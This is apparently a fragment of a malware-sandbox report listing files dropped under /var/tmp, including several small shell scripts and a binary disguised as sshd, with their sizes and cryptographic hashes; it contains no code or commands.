                                                                                                      c717efa67280f37ae572e27a3636976a7ca23580

                                                                                                      SHA256

                                                                                                      fe44ef6490fd7534cef77eea7521634d6a5c49388b1c0051ba6432a85a3c5df7

                                                                                                      SHA512

                                                                                                      5167a4f2cfac3efb7428705f8b349d7b69f62ff3594c621a3111eb1f5f8fb26e04c02c8ae87d6ac9090260065e0fefb963e84305126dc5b132396a631f8cc8f8

                                                                                                      Download Submit

                                                                                                    • /var/tmp/politrict.sh
                                                                                                      Filesize

                                                                                                      201B

                                                                                                      MD5

                                                                                                      bce9227af9bd25ffa6937bb73739366c

                                                                                                      SHA1

                                                                                                      a5191f835b7e419a05b10020dcafce812927a851

                                                                                                      SHA256

                                                                                                      623e7ad399c10f0025fba333a170887d0107bead29b60b07f5e93d26c9124955

                                                                                                      SHA512

                                                                                                      2432e1da87d06038bdde5fd0e9d46113e4365c913348720e9c22e986ca37988857e969e99cb17b562fbe757c8dc8c02c652e06a0b93535ed7641826072084b1a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/retrict.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      3c5e78207f8d379aafaca253de523b4d

                                                                                                      SHA1

                                                                                                      1df83ca30a444077c73f9058033d1c89a1c6fc6f

                                                                                                      SHA256

                                                                                                      9361a4af04108f51720120deb02b4af65ddf76077a91ec7288bc24fe6ebcffa8

                                                                                                      SHA512

                                                                                                      c5c8ba69115f9bc9e80ea84c15132e1794b6d9d22a0f9e6e922970ff53b002238a39d8f4e17b477ff9612f226f3112de3f550bbb823d75c719fe9498131d3feb

                                                                                                      Download Submit

                                                                                                    • /var/tmp/sshd
                                                                                                      Filesize

                                                                                                      6.7MB

                                                                                                      MD5

                                                                                                      50eafe708b0e411d6f5d31ce3ce14ec8

                                                                                                      SHA1

                                                                                                      24e6d617badd100b28061e01b7c3e1bff9266fac

                                                                                                      SHA256

                                                                                                      604b694943267865160c335e10efa0375ff8fc29589326dbf1a3939d321ca5c0

                                                                                                      SHA512

                                                                                                      8e928f15e5124e5722e9554ed480a89c045b2bd34f3607e027a04101f8d375371eedb5651b74c152f5e2e89edbe5ebc1f34de61454096e6a92cbf2fb3b32e741

                                                                                                      Download Submit

                                                                                                    • /var/tmp/truct.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      00d7b8d6915e67fa3c1288e36b616b20

                                                                                                      SHA1

                                                                                                      8eb8ef37fe36fef617f1fb613cfe4861942b7556

                                                                                                      SHA256

                                                                                                      945212240921d8e1fa85a8c381ceb4a7e8299c3aefdeb49194a2bedfdf753522

                                                                                                      SHA512

                                                                                                      9655cc64f27dec5616a32aa8509119af3ca0dc1374c02a0e00aa25c6641f6b7e2d48970f8c2dd8a98a590026fccd5a1654a9539f056be855c887d1b64e1e9fff

                                                                                                      Download Submit

                                                                                                    • /var/tmp/unix.sh
                                                                                                      Filesize

                                                                                                      189B

                                                                                                      MD5

                                                                                                      55e75cb054e32f52a306f8c79ca8083b

                                                                                                      SHA1

                                                                                                      1faf6b67cc8ac3e18118413f209e01bb9d821faa

                                                                                                      SHA256

                                                                                                      05727581a43c61c5b71d959d0390d31985d7e3530c998194670a8d60e953e464

                                                                                                      SHA512

                                                                                                      18ddf3497c9cc9b1d8d54bc7876949df31cdf9e250411995003014c0b4ea4b6618c5a7eee7eaf62af4152378d26da476ff82536c334158757dd8168d46e7c2b2

                                                                                                      Download Submit